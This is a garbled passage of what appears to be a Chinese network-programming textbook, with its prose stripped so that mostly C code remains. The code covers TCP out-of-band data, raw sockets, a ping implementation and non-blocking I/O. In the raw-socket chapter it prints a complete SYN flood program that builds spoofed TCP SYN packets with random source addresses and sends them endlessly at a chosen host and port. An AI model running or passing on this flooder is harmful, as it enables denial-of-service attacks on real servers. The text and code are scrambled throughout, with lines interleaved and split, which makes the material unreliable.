select,, select select, : # include < sys/ socket.h > # include < netinet/ in.h > # include < sys/ types.h > # include < sys/ time.h > # include < stdio.h > # include < string.h > # include < errno.h > int main() int lfd, cfd; struct sockaddr fd set rdset, xset; char buf[128]; int n; in addr; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 1); cfd = accept(lfd, NULL, NULL); if (cfd < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); FD FD ZERO(&rdset); ZERO(&xset); for ( ;; ) FD FD SET(cfd, &rdset); SET(cfd, &xset); 213
n = select(cfd + 1, &rdset, NULL, &xset, NULL); if (n < 0) fprintf(stderr, select error: % s \ n, strerror(errno)); exit(1); if (FD ISSET(cfd, &xset)) n = recv(cfd, &buf[0], 1, MSG if (n < 0) OOB); fprintf(stderr, recv error: % s \ n, strerror(errno)); exit(1); write(1, oob:, 4); write(1, buf[0], 1); write(1, \ n, 1); if (FD ISSET(cfd, &rdset)) n = read(cfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF.\ n ); exit(0); write(1, buf, n); write(1, \ n, 1); select select, FD ISSET, recv, ; FD ISSET,, read, : bash recvoob abc oob:d read error: Invalid Arguments,, select :, select recv,, select,,, 214
, EINVAL, select, :,,,, :,,,,, select : # include < sys/ socket.h > # include < netinet/ in.h > # include < sys/ types.h > # include < sys/ time.h > # include < stdio.h > # include < string.h > # include < errno.h > int main() int lfd, cfd; struct sockaddr fd set rdset, xset; char buf[128]; int n; int flag = 1; in addr; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 1); 215
cfd = accept(lfd, NULL, NULL); if (cfd < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); FD FD ZERO(&rdset); ZERO(&xset); for ( ;; ) FD SET(cfd, &rdset); If (flag == 1) FD SET(cfd, &xset); n = select(cfd + 1, &rdset, NULL, &xset, NULL); if (n < 0) fprintf(stderr, select error: % s \ n, strerror(errno)); exit(1); if (FD ISSET(cfd, &xset)) n = recv(cfd, &buf[0], 1, MSG if (n < 0) OOB); fprintf(stderr, recv error: % s \ n, strerror(errno)); exit(1); write(1, oob:, 4); write(1, buf[0], 1); write(1, \ n, 1); flag = 0; if (FD ISSET(cfd, &rdset)) n = read(cfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF.\ n ); exit(0); write(1, buf, n); write(1, \ n, 1); flag = 1; flag 1, 0,, select 216
;, 1,, select ; : bash recvoob abc oob:d efg oob:i h recv error: Invalid Argument, : send(sockfd, hi, 2, MSG OOB);,, select, oob: i, flag 0,, h, flag 1, select,,, EINVAL :,,, 3. SO SO OOBINLINE,, OOBINLINE,, TCP : read, : # include < sys/ socket.h > # include < netinet/ in.h > # include < string.h > # include < stdio.h > # include < errno.h > int main(int argc, char argv[]) int sockfd; struct sockaddr if (argc!= 2) in addr; fprintf(stderr, usage: sendoob ip addr \ n ); 217
exit(1); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); if (inet aton(argv[1], &addr.sin addr) < 0) fprintf(stderr, inet exit(1); aton error: % s \ n, strerror(errno)); if (connect(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, connect error: % s \ n, strerror(errno)); exit(1); send(sockfd, abcd, 4, MSG OOB); fprintf(stderr, write 3 bytes normal data \ n ); write(sockfd, efg, 3); fprintf(stderr, write another 3 bytes normal data \ n ); close(sockfd); : # include < sys/ socket.h > # include < netinet/ in.h > # include < sys/ types.h > # include < sys/ time.h > # include < stdio.h > # include < string.h > # include < errno.h > int main() int lfd, cfd; struct sockaddr char buf[128]; int n; in addr; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) 218
fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 1); cfd = accept(lfd, NULL, NULL); if (cfd < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); n = 1; setsockopt(cfd, SOL SOCKET, SO OOBINLINE, &n, sizeof(n)); for (;;) if (ioctl(cfd, SIOCATMARK, &n) < 0) fprintf(stderr, ioctl error: % s \ n, strerror(errno)); exit(1); if (n == 1) n = read(cfd, buf, 1); write(1, oob:, 4); write(1, buf, 1); write(1, \ n, 1); n = read(cfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF \ n ); exit(0); write(1, buf, n); write(1, \ n, 1);, SO OOBINLINE,, ioctl,, 219
:, - bash recvoob abc oob:d efg, : int main() cfd = accept(...); sleep(5); for (;;), 5, : bash recvoob abc oob:d efg, 4.,,, SO OOBINLINE SO OOBINLINE : SO int main(int argc, char argv[]) 220 OOBINLINE
connect(...); write(sockfd, abc, 3); send(sockfd, d, 1, MSG OOB); write(sockfd, efg, 3); send(sockfd, hi, 2, MSG OOB); write(sockfd, j, 1); close(sockfd); : # include < sys/ socket.h > # include < netinet/ in.h > # include < sys/ types.h > # include < sys/ time.h > # include < stdio.h > # include < string.h > # include < errno.h > int main() int lfd, cfd; struct sockaddr char buf[128]; int n; in addr; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 1); cfd = accept(lfd, NULL, NULL); if (cfd < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); 221
n = 1; setsockopt(cfd, SOL SOCKET, SO OOBINLINE, &n, sizeof(n)); sleep(2); for (;;) if (ioctl(cfd, SIOCATMARK, &n) < 0) fprintf(stderr, ioctl error: % s \ n, strerror(errno)); exit(1); if (n == 1) n = read(cfd, buf, 1); write(1, oob:, 4); write(1, buf, 1); write(1, \ n, 1); n = read(cfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF \ n ); exit(0); write(1, buf, n); write(1, \ n, 1);, 2, : bash recvoob abcdefgh oob:i j,, TCP,, TCP :, ;,, i, d, i,, abcdefgh,, i, j 222
: int main(int argc, char argv[]) connect(...); - SO OOBINLINE send(sockfd, abcd, 4, MSG OOB); write(sockfd, efg, 3); send(sockfd, hi, 2, MSG OOB); write(sockfd, j, 1); close(sockfd);,, : # include < sys/ socket.h > # include < netinet/ in.h > # include < stdio.h > # include < string.h > # include < errno.h > # include < signal.h > int listenfd, connfd; int count = 0; void sigurg int main() struct sockaddr char buf[128]; int n; handler(int); in addr; struct sigaction act; listenfd = socket(af INET, SOCK STREAM, 0); if (listenfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); 223
addr.sin addr.s addr = htonl(inaddr ANY); if (bind(listenfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(listenfd, 1); if ((connfd = accept(listenfd, NULL, NULL)) < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigurg handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigurg, &act, NULL); fcntl(connfd, F for ( ;; ) SETOWN, getpid()); n = read(connfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF \ n ); exit(0); else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); write(1, buf, n); write(1, \ n, 1); void sigurg char oobch; if (count == 0) handler(int signo) write(2, recv signal \ n, 12); count ++ ; sleep(1); return; if (recv(connfd, &oobch, 1, MSG OOB) < 0) fprintf(stderr, recv error: % s \ n, strerror(errno)); 224
return; write(1, oob:, 4); write(1, &oobch, 1); write(1, \ n, 1); count, 0,, sigurg handler, count 1, 1,, sigurg handler : bash recvoob recv signal oob:i abcdefgh j, SIG URG,,, count 0,, 1,, SIGURG, SIGU RG, SIGURG, sleep, SIGURG,, oob: i,,,, abcdefgh j,, j 5.,,,, - 10 11,,, write read, Ctrl + C, SIGINT, TCP, SIGURG,, write 225
10 11 : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < signal.h > # include < stdio.h > # include < string.h > # include < errno.h > void sigint int sockfd; handler(int); int main(int argc, char argv[]) struct sockaddr char buf[512]; int n; struct sigaction act; if (argc!= 3) in addr; fprintf(stderr, usage: webcli ip exit(1); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) addr filename \ n ); fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin 226 port = htons(8080);
if (inet aton(argv[1], &addr.sin addr) < 0) fprintf(stderr, inet exit(1); aton error: % s \ n, strerror(errno)); if (connect(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, connect error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigint handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigint, &act, NULL); write(sockfd, argv[2], strlen(argv[2])); write(sockfd, \ n, 1); for (;;) n = read(sockfd, buf, sizeof(buf)); if (n == 0) break; else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); write(1, buf, n); void sigint char ch = 0; handler(int signo) write(sockfd, &ch, 1, MSG OOB);, sigaction SIGINT,,, : # include < sys/ socket.h > # include < netinet/ in.h > # include < stdio.h > 227
# include < string.h > # include < errno.h > # include < signal.h > int listenfd, connfd; int flag = 1; void sigurg int main() struct sockaddr char buf[128]; int n; handler(int); struct sigaction act; int fd; in addr; listenfd = socket(af INET, SOCK STREAM, 0); if (listenfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(listenfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(listenfd, 1); if ((connfd = accept(listenfd, NULL, NULL)) < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigurg handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigurg, &act, NULL); fcntl(connfd, F n = read if (n < 0) SETOWN, getpid()); line(connfd, buf, sizeof(buf)); fprintf(stderr, read exit(1); buf[n] = 0; fd = open(buf, O 228 RDONLY); line error: % s \ n, strerror(errno));
for ( ; flag; ) n = read(fd, buf, sizeof(buf)); if (n == 0) break; else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); n = write(1, buf, n); if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, write error: % s \ n, strerror(errno)); exit(1); void sigurg char ch; handler(int signo) recv(connfd, &ch,1, MSG if (ch == 0) flag = 0; OOB);, sigaction SIGURG, fcntl F, read SETOWN line,,,,, flag, 0, flag 1,, SIGURG 0 :,,, :, write, TCP RST, RST, 229
10.6 TCP 3 : TCP, TCP, TCP SIGURG,, SO OOBINLINE, MSG OOB ; SO OOBINLINE,,, 230
11 11.1 TCP UDP : ICMP IGM P, IP, IP, IP, P ING, I P HDRINCL 11.2 socket SOCK RAW, socket socket, IPPROTO IPPROTO ICM P EGP, < netinet/ in.h >, ICM P : # include < netinet/ in.h > int sockfd; sockfd = socket(af INET, SOCK RAW, IPPROTO ICMP); 0, I P IP, I P HDRINCL, IP IP : int on = 1; if (setsockopt(sockfd, IPPROTO IP, IP HDRINCL, &on, sizeof(on)) < 0) fprintf(stderr, setsockopt IP exit(1); HDRINCL error.\ n ); I P,, 231
connect bind, : (1 ) bind IP bind IP UDP TCP, bind, I P IP bind bind, IP I P I P HDRINCL, bind, IP (2 ) connect I P connect IP connect write send, sendto, I P IP 11.3 : (1 ) connect, sendto sendmsg, connect, send write writev (2 ) IP HDRINCL, IP, I P IP (3 ) IP HDRINCL, IP, : IP 0, ; I P IP 11.4 I P, 11 1 (1 ) UDP TCP UDP TCP, (2 ) ICMP ICM P, ICMP (echo request) ICM P ( timestamp re quest)( mask request) (3 ) (4 ) I P I P, 232
11 1 I P, : (1 ) (2 ) bind IP, IP I P IP (3 ) connect I P, IP I P IP I P bind connect IP, 0, IP I P,,, I P 11.5 PING : ICMP ICMP PING : ICMP ( echo request), (echo response) ICMP 11 2 0 1 2 3 ( 8/ 0 ) 8 ( ) 11 2 ICMP 8, 0 IP 233
, 0, 1, 8 ICMP, : PING ICM P, ICMP ICMP, PING ICM P PING :, P ING SIGALRM,, P ING ICMP recvfrom P ING : bash./ ping 192.168.0.2 PING 192.168.0.10 (192.168.0.10): 56 data types 64 bytes from 192.168.0.10: seq = 0, ttl = 254, rtt = 1.542ms 64 bytes from 192.168.0.10: seq = 1, ttl = 254, rtt = 1.449ms 64 bytes from 192.168.0.10: seq = 0, ttl = 254, rtt = 1.501ms bash./ ping slave.utopian.edu.cn PING slave.utopian.edu.cn (192.168.0.2): 56 data types 64 bytes from 192.168.0.2: seq = 0, ttl = 254, rtt = 1.783ms 64 bytes from 192.168.0.2: seq = 0, ttl = 254, rtt = 1.760ms 64 bytes from 192.168.0.2: seq = 0, ttl = 254, rtt = 1.698ms I P, : # include < sys/ socket.h > # include < sys/ time.h > # include < sys/ signal.h > # include < netdb.h > # include < netinet/ in.h > # include < netinet/ ip.h > # include < netinet/ ip icmp.h > # include < unistd.h > # include < stdlib.h > # include < string.h > # include < stdio.h > # include < ctype.h > # include < errno.h > void sigalrm void send handler(int); icmp(void); void tvsub(struct timeval, struct timeval ); 234
unsigned short in void recv void pr int sockfd; int pid; icmp(void); cksum(unsigned short, int); icmp(char ptr, int len); int datalen = 56; char hostname[128]; struct sockaddr char sendbuf[256]; int seq = 0; in dest; int main(int argc, char argv[]) struct sigaction act; struct hostent he; int n; if (argc!= 2) fprintf(stderr, usage: ping host \ n ); exit(1); act.sa handler = sigalrm handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigalrm, &act, NULL); pid = getpid(); if (inet aton(argv[1], &dest.sin addr) == 1) strcpy(hostname, argv[1]); else he = gethostbyname(argv[1]); if (he!= NULL) dest.sin addr = (struct in addr ) strcpy(hostname, he - > h else he - > h addr list[0]; name); fprintf(stderr, host name error: % s % s \ n, argv[1], exit(1); hstrerror(h errno)); printf( PING % s ( % s): \ n, hostname, inet ntoa(dest.sin addr)); sockfd = socket(af INET, SOCK RAW, IPPROTO ICMP); if (sockfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); 235
exit(1); setuid(getuid()); sigalrm recv handler(sigalrm); icmp(); : sockfd,, ; pid ; datalen ICMP ; hostname ; dest ; sendbuf ICMP ; seq ICMP sigaction SIGALRM, getpid : IP, inet aton IP, inet aton, gethostbyname IP, IP,, IPPROTO ICM P,, PING, ping, setuid, : bash # chown root ping bash # chmod + s ping #, ping, ping setuid, ping,,,, setuid ICM P, SIGAL RM SIGALRM SIGALRM, : kill(pid, SIGALRM);, ICMP ICM P recv icmp ICMP, recv icmp : void recv icmp(void) char recvbuf[256]; int len; 236
int n; for ( ; ; ) n = recvfrom(sockfd, recvbuf, sizeof(recvbuf), 0, NULL, NULL); if (n < 0) if (errno == EINTR) continue; else printf( recvfrom error ); continue; pr recv icmp(recvbuf, n); icmp : recvfrom ICMP ICMP, pr pr icmp icmp ICMP, : # define icmp type type # define icmp code code # define icmp cksum checksum # define icmp id un.echo.id # define icmp seq un.echo.sequence void pr icmp(char ptr, int len) int hlen1, icmplen; double rtt; struct ip ip; struct icmphdr icmp; struct timeval tvsend; struct timeval tvrecv; ip = (struct ip ) ptr; hlen1 = ip - > ip hl < < 2; icmp = (struct icmphdr ) (ptr + hlen1); if ( (icmplen = len - hlen1) < 8) printf( icmplen ( % d) < 8, icmplen); if (icmp - > icmp type == ICMP ECHOREPLY) if (icmp - > icmp id!= pid) return; / not a response to our ECHO REQUEST / if (icmplen < 16) 237
printf( icmplen ( % d) < 16, icmplen); gettimeofday(&tvrecv, NULL); tvsend = (struct timeval ) (icmp + 1); tvsub(&tvrecv, tvsend); rtt = tvrecv.tv sec 1000.0 + tvrecv.tv usec/ 1000.0; printf( % d bytes from % s ( % s): seq = % u, ttl = % d, rtt = %.3f ms \ n, icmplen, hostname, inet ntoa(dest.sin addr), icmp - > icmp seq, ip - > ip ttl, rtt);, Linux < linux/ icmp.h > ICM P : struct icmphdr u8 type; u8 code; u16 checksum; union struct echo; un; ; u16 id; u32 gateway; u16 sequence; BSD, ICMP I P, IP ptr, len ip ip : struct ip # if defined( LITTLE ENDIAN BITFIELD) u8 ip hl:4, ip # else v:4; u8 ip v:4, ip # endif hl:4; # define IPVERSION 4 u8 ip tos; 238
u16 ip len; u16 ip id; u16 ip off; u8 ip ttl; u8 ip p; u16 ip sum; struct in addr ip src,ip dst; ; I P IP ip hl I P, 4, 2 IP hlen1 IP IP ICMP ICM P 8 ICM P, ICMP ICMP ECHORE PLY,,,, ICMP id, ICMP id,, ICMP, ICMP, timeval ICMP : IP + IP + ICMP icmpicmphdr, ICMP, icmp + 1 ICMP PING ICM P,, PING,, 11 3 I P ICMP ICMP ( ) 10 8 11 3 ICMP get timeofday,, ICMP tvsub, rt t ICM P : IP I P : recv from tvsub, tvsub void tvsub(struct timeval out, struct timeval in) 239
if ((out - > tv usec - = in - > tv usec) < 0) out - > tv sec - - ; out - > tv usec += 1000000; out - > tv sec - = in - > tv sec; ICMP SIGALRM,, ICMP, ICM P SIGALRM : void sigalrm send alarm(1); return; icmp(); handler(int signo) send 1 SIGALRM send void send icmp ICM P, alarm icmp ICMP, : icmp(void) int len; struct icmphdr icmp; icmp = (struct icmphdr ) sendbuf; icmp - > icmp type = ICMP ECHO; icmp - > icmp code = 0; icmp - > icmp id = pid; icmp - > icmp seq = nsent ++ ; gettimeofday((struct timeval ) (icmp + 1), NULL); len = 8 + datalen; / checksum ICMP header and data / icmp - > icmp cksum = 0; icmp - > icmp cksum = in cksum((u short ) icmp, len); len = sendto(sockfd, sendbuf, len, 0, (struct sockaddr )&snd addr, sizeof(snd ad dr)); if (len < 0) printf( sendto error: % s \ n, strerror(errno)); printf( sendto % s \ n, inet ntoa(snd addr.sin addr)); sendbuf icmphdr,, 240
ICM P ICMP ICMP ECHO, 0,, nsent, gettimeofday in cksum ICMP sendto ICMP in cksum ICM P, ICMP : unsigned short in cksum(unsigned short addr, int len) int nleft = len; int sum = 0; unsigned short w = addr; unsigned short answer = 0; while (nleft > 1) sum += w ++ ; nleft - = 2; if (nleft == 1) (unsigned char )(&answer) = (unsigned char )w ; sum += answer; sum = (sum > > 16) + (sum & 0xffff); sum += (sum > > 16); answer = sum; return(answer); I P PING, ICMP,, PING PING,,,, : int on = 1; setsockopt(sockfd, SOL SOCKET, SO BROADCAST, &on, sizeof(on)); 11.6 IP HDRINCL I P HDRINCL, IP I P, IP,, 241
( denial of service): TCP SYN ( SYN flood attack) : TCP SYN, I P TCP SY N, SYN SY N, SY N, TCP 3 SYN IP, SYN ( half open), :,,, :, IP IP, SYN, : # include < sys/ socket.h > # include < netinet/ in.h > # include < netdb.h > # include < ctypes.h > int main(int argc, char argv[]) int sockfd; struct sockaddr struct hostent he; int on = 1; if (argc!= 3) in addr; printf( usage: synflood host port \ n ); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(atoi(argv[2])); if (inet aton(argv[1], &addr.sin addr) = = 0) he = gethostbyname(argv[1]); if (he == NULL) printf( host name error: % s % s \ n, argv[1], hstrerror(h errno)); exit(1); addr.sin addr = (struct in addr ) he - > h addr list)[0]; sockfd = socket(af INET, SOCK RAW, 0); 242
if (sockfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); setsockopt(sockfd, IPPROTO setuid(getpid()); write syn(sockfd, &addr); IP, IP HDRINCL, &on, sizeof(on)); IP inet aton gethostbyname I P, 0, I P, I P HDRINCL SY N, setuid, write write syn SYN, : syn SYN # include < netinet/ ip.h > # include < netinet/ tcp.h > # include < stdlib.h > void write syn(int sockfd, struct sockaddr in addr) char buf[56]; struct ip ip; struct tcphdr tcp; int len; len = sizeof(struct ip) + sizeof(struct tcphdr); bzero(buf, sizeof(buf)); tcp = (struct tcphdr ) (buf + sizeof(struct ip)); tcp - > th sport = htons(1500); tcp - > th dport = addr - > port; tcp - > tcp seq = random(); tcp - > tcp ack = 0; tcp - > th off = 5; tcp - > th flags = TH SYN; ip = (struct ip )buf; ip - > ip v = IPVERSION; ip - > ip hl = sizeof(struct ip) > > 2; ip - > ip tos = 0; ip - > ip len = htons(len); ip - > ip id = 0; 243
ip - > ip off = 0; ip - > ip ttl = TTL OUT; ip - > ip p = IPPROTO TCP; ip - > ip sum = 0; ip - > ip dst = addr - > sin addr; for (;;) ip - > ip src.s addr = random(); tcp - > th sum = tcpcksum(ip); sendto(sockfd, buf, len, 0, addr, sizeof(struct sockaddr ; in)); write syn SYN, TCP SYN 11 4 0 8 1 6 2 4 3 1 : 1500 : 80 : : 0 5 T H SYN 0 0 11 4 TCP SYN 1500, addr, 0 TCP, 4 SYN 20, 5TH SYN( 0x02), SYN 0, 0, tcpcksum TCP SYN I P 11 5 0 8 1 6 2 4 3 1 4 5 0 40 0 0 T IL OU T TP PROT O T CP 0 IP : I P : 1500 : 80 : : 0 5 T H SYN 0 0 244
11 5 TCP SYN 4, IPv4 20, 5 0IP 40 0, 0, TTL I P, IPPROTO OUT, TCP 0, I P IP IP, addr IP I P IP TCP,, IP : write syn tcpcksum TCP, unsigned short tcpcksum(struct ip ip) struct tcphdr tcp; unsigned short sprt, len; unsigned long tcksum; int i; tcksum = 0; tcp = (struct tcphdr )(ip + 1); sptr = (unsigned short )ip - > ip for (i = 0; i < 4; i ++ ) tcksum += sptr ++ ; sptr = (unsigned short )tcp; src; len = ip - > ip len - ip - > ip hl < < 2; tcksum += IPPROTO + len; if (len % 2) ((char )tcp)[len] = 0; len += 1; len > > = 1; for (i = 0; i < len; i ++ ) tcksum += sptr ++ ; tcksum = (tcksum > > 16) + (tcksum&0xffff); tcksum += (tcksum > > 16); return (short)(tcksum & 0xffff); I P I P HDRINCL,, 245
11.7 IP UDP TCP, IP IP HDRINCL, I P PING PING ICMP P ING, PING 246
12 / 12.1 Linux / 4 : /, / / /,, SIGIO / 12.2 / /,,,,,,,, EINTR, 4 : 1 :read readv recv recvfrom recvmsg 12 1, read read,, read,, TCP,, ;,, TCP,,,,, UDP, UDP, 247
12 1 12 2 2 :write writev send sendto sendmsg 12 2, write,,,,,, TCP,,, TCP, TCP TCP,, TCP,, TCP, 0, TCP,,,,,, (, 0, TCP,,, ) UDP,, UDP, IP UDP, UDP 248
3 TCP :accept accept 12 3 TCP, 3 TCP accept,,, TCP TCP, TCP accept 12 3 12 4 4:connect connect 12 4 TCP connect, TCP 3, SYN, TCP TCP SY N, connect TCP ( R TT ) UDP connect, UDP, connect, /,, 249
/, :, ;, :,,,,,,, 12 5 : 12 5,,,,,,,,,,,,, / ( ) : # include <...> int main() int fd1, fd2; int fdav1, fdav2; char buf[1024]; int n; connect(fd1, &addr1, sizeof(addr1)); 250
connect(fd2, &addr2, sizeof(addr2)); fdav1 = fdav2 = 1; for (;;) if (fdav1) n = read(fd1, buf, sizeof(buf)); if (n == 0) fdav1 = 0; else if (n < 0 && errno!= EINTR) fprintf(stderr, read fd1 error: % s \ n, strerror(errno)); fdav1 = 0; else if (n < 0) continue; else proc if (fdav2) data(buf, sizeof(buf)); n = read(fd2, buf, sizeof(buf)); if (n == 0) fdav2 = 0; else if (n < 0 && errno!= EINTR) fprintf(stderr, read fd2 error: % s \ n, strerror(errno)); fdav2 = 0; else if (n < 0) continue; else proc data(buf, sizeof(buf));, / 3 / : (1) alarm, SIGALRM SIGALRM, 4, : alarm SIGALRM, SIGALRM alarm, (2 ) SO RCVTIMEO SO SNDTIMEO,, 251
accept connect :, :,, (3 ) select / select, 4,, :,,, / select 1 alarm alarm : SIGALRM,, alarm SIGALRM, alarm, : # include < signal.h > int to int main() flag; int sockfd; struct sigaction act; int to = 30; act.sa handler = sigalrm handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigalrm, &act, NULL); for (;;) to flag = 0; alarm(to); n = read(sockfd, buf, sizeof(buf)); alarm(0); if (n < 0 && errno == EINTR) if (to flag == 1) proc else continue; else 252 timeout();
void sigalrm handler(int signo) to flag = 1; SIGALRM to flag 1, SIGALRM alarm,,, read, to flag 1, read, EINTRto flag, read SIGALRM,,,, read, alarm, 0, SIGALRM 2 SO RCVTIMEO SO SNDTIMEO :, setsockopt,, TELNET ( ) : int main() struct timeval rto, sto; cfd = accept(lfd, NULL, NULL); rto.sec = RECV rto.usec = 0; sto.sec = SEND sto.usec = 0; TIMEOUT; TIMEOUT; setsockopt(cfd, SOL SOCKET, SO SNDTIMEO, &sto, sizeof(sto)); setsockopt(cfd, SOL SOCKET, SO RCVTIMEO, &rto, sizeof(rto)); for (;;) n = read(cfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read end - of - file \ n ); exit(0); 253
else if (n < 0 && errno == ETIMEOUT) fprintf(stderr, read timeout \ n ); close(cfd); else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); else proc data(buf, sizeof(buf)); n = write(cfd, buf, n); if (n < 0 && errno == ETIMEOUT) fprintf(stderr, write timeout \ n ); close(cfd); else if (n < 0 && errno == EINTR) continue; else if (n < 0 && errno == EPIPE) fprintf(stderr, write error: peer closed \ n ); exit(1); else if (n < 0) fprintf(stderr, write error: % s \ n, strerror(errno)); exit(1); else proc xxx();,, ET IMEOUT,,, 12.3 / /,, 12 6 read,, read, EWOULDBLOCK, read,, read 254
12 6, EWO ULDBLOCK read,, read 4,, : (1 ),, EWOULDBLOCK (2 ),, EWOULDBLOK :,,,, (3 ),, EWOULDBLOCK (4 ), TCP 3,,, EINPROGRESS,,, connect, : (1 ) ( polling) /, EWOULDBLOCK, / : for ( ;; ) if (read(sockfd, buf, nbytes) < 0) 255
if (errno == EWOULDBLOCK) continue; else fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); else break; read,, /,,, /, CP U, (2 ) select / select /, /, /, CPU /, /,, /, /, : (1 ) fcntl fcntl O int flags; flag = fcntl(sockfd, F GETFL, 0); fcntl(sockfd, F SETFL, flag O NONBLOCK); Posix (2 ) ioctl NONBLOCK, : ioctl F IONBIO, : int on = 1; ioctl(sockfd, FIONBIO, &on); /, /,, :, # include < sys/ socket.h > # include < netinet/ in.h > # include < string.h > 256
# include < errno.h > int main(int argc, char int sfd1, sfd2; struct sockaddr argv[]) in addr1, addr2; int flag, sfdav1, sfdav2; char buf[1024]; int n; if (argc!= 3) printf( usage: cli2 ip1 ip2 \ n ); exit(1); sfd1 = socket(af INET, SOCK STREAM, 0); sfd2 = socket(af INET, SOCK STREAM, 0); if (sfd1 < 0 sfd2 < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr1, sizeof(addr1)); addr1.sin family = AF INET; addr1.sin port = htons(8080); if (inet aton(argv[1], &addr1.sin addr) < 0) printf( inet exit(1); bzero(&addr2, sizeof(addr2)); addr2.sin family = AF INET; addr2.sin aton error: % s \ n, strerror(errno)); port = htons(8080); if (inet aton(argv[2], &addr2.sin addr) < 0) printf( inet exit(1); aton error: % s \ n, strerror(errno)); if (connect(sfd1, (struct sockaddr )&addr1, sizeof(addr1)) < 0 connect(sfd2, (struct sockaddr )&addr2, sizeof(addr2)) < 0) printf( connect error: % s \ n, strerror(errno)); exit(1); flag = fcntl(sfd1, F GETFL, 0); fcntl(sfd1, F SETFL, flag O NONBLOCK); flag = fcntl(sfd2, F GETFL, 0); fcntl(sfd2, F SETFL, flag O NONBLOCK); sfdav1 = sfdav2 = 1; 257
for (;;) if (sfdav1 == 1) n = read(sfd1, buf, sizeof(buf)); if (n == 0) sfdav1 = 0; else if (n < 0 && errno!= EWOULDBLOCK && errno!= EINTR) printf( read sfd1 error: % s \ n, strerror(errno)); sfdav1 = 0; else if (n > 0) write(1, buf, n); if (sfdav2 == 1) n = read(sfd2, buf, sizeof(buf)); if (n == 0) sfdav2 = 0; else if (n < 0 && errno!= EWOULDBLOCK && errno!= EINTR) printf( read sfd2 error: % s \ n, strerror(errno)); sfdav2 = 0; else if (n > 0) write(1, buf, n);, 12 7 12 7,, EWOULDBLOCK,,, 258
:,, : CPU,,,,, CPU 12.4 / / / select, select 12 8 / 12 8 select, select,,, select,,, /, /,, select, / /, /, /, 12 259
